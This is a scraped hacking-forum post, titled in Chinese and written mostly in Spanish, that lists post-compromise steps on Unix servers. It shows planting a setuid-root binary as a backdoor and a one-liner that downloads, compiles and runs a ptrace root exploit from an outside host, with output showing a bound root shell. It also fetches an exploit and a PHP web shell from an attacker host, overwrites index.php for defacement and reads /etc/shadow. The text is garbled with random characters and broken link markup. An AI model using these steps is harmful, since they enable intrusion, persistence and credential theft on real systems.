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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>  S7 ?0 Z6 T& c
<>1.</P>
3 E$ x  E: K! `4 N- j( R<>[cnbird@localhost tmp]#id</P>
* g. w% \7 M0 C<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>! `7 p  h4 G4 e+ K% L( j2 n4 T
<>[cnbird@localhost tmp]#cp `which id ` .</P>( b" ?" {" |. y" `
<>[cnbird@localhost tmp]#chown root ./id</P>
8 H1 G- z3 Z9 X5 R<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
, L; }5 T/ Y* b4 O  r, t<>[cnbird@localhost tmp]#ls -l ./id</P>
" G+ {2 l  L; M% M2 M, M6 ?<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>% _1 g* r* z& {+ X: @5 o
<>[cnbird@localhost tmp]#exit</P>
7 L! e! Z) J/ B$ ]- {9 _7 P<>[cnbird@localhost tmp]$id</P>5 {' T2 x, X  Y3 ~# ~& X
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
. R6 k) n/ P3 w1 T/ s% ^<>[cnbird@localhost tmp]$./id </P>
9 L$ w3 W) J$ A$ i$ ~" N) G<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>+ i3 O7 ~) K# G1 G
<>2.利用ptrace成为root的方法</P>
+ r' w& s! [8 K, T7 L<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace' [" D" e/ H1 Y
-&gt; Parent's PID is 2313. Child's PID is 2314.
5 @6 Z4 g, o6 [8 G: c1 f# T-&gt; Attaching to 2315...9 U9 ~( s3 [  T& K8 y( n
-&gt; Got the thread!!
1 l5 g' y: G( H4 e1 t5 e/ _-&gt; Waiting for the next signal...
: A* \; S  e/ M" y% Z0 Z4 ^( S) N-&gt; Injecting shellcode at 0x4000e85d! _3 F3 g2 Z0 ?1 h
-&gt; Bind root shell on port 24876... =p8 s- |( B7 Z* O: o$ N
-&gt; Detached from modprobe thread.% V6 a8 Y. k$ v# z( f
-&gt; Committing suicide.....</P>0 R9 U1 f" w+ n1 i
<>[bash]# id" }% K- b, f6 _7 t! u) y
uid=0(root) gid=0(root) groups=0(root)</P>% @* U# {3 R( z2 N- P4 h
<>ara ver los dominios que hay en el server:
3 m5 r' i5 @# h---------------------------------------------------------- z0 ^- {5 ?5 ]8 L$ ~
cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
2 A8 E* a4 ^* kcat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
. v/ S( G* w5 \+ Icat /etc/localdomains &lt;&lt; Unicamente los dominios locales
. u3 d) E: N/ ~0 o. Gcat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio 6 t: S8 y" o) b, e" _6 U
cat /etc/userdomains &lt;&lt; Este es el mas comun$ Q1 P7 ]5 d1 Y. |" u
---------------------------------------------------------</P>
5 r- u0 @+ L/ I3 N# c<>ara ver la version de kernel:6 u" w$ F! r' R
---------------------------------------------------------# p) F5 {$ D- C2 C  y
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
1 L' y/ ~6 X$ v---------------------------------------------------------</P>3 M6 D/ F. \' R* U5 U% j, ?
<>ara modificar un index ya existente:
- L) h( e- l$ |6 u* K---------------------------------------------------------6 x5 G  Q; z8 Y9 W
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
7 J9 W+ ?& F+ Z---------------------------------------------------------</P>
; S( x5 ^& _5 H% q7 T0 J8 x<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:) C' C% A, L% n" U& o2 x
---------------------------------------------------------2 d2 l4 @' v0 x2 }) m) J
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit" ]. S) F6 x6 k8 o
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
; i8 y4 c7 B, c) ?  l: b" f5 f9 mcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"8 E% _$ u) I: L- B
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". 4 c! J* i; F4 s' @! Q% `# Q
Hasta aqui termina el proceso para un exploit.2 n! O5 ~$ ^3 k
---------------------------------------------------------</P>+ S4 W+ N  c; S+ h9 i' M
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
6 R, r3 ?9 t# b; @5 s+ n  h---------------------------------------------------------
" \; J2 q. ~: t9 Y8 E2 S2 wcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.$ ~5 s5 O: T6 z" l5 j# p. p
---------------------------------------------------------</P>
' S" j0 Y1 Z, c' }<>Borrar un Ficher. Z0 k& J) k$ r  G7 ~* b: M
---------------------------------------------------------; X% O- y* \% f& \5 Y
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm2 s, `, I3 \4 q% q% q" y
---------------------------------------------------------</P>
5 W% b9 E, u) H$ \<>Subir un ficher
0 C3 z2 U" Z, G---------------------------------------------------------0 Q9 g/ K$ U  P! I/ |* [
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>* `6 @  T1 l" \7 _4 V. U
<>
8 n% C+ A$ w5 e0 g5 x  Q<CENTER></CENTER>
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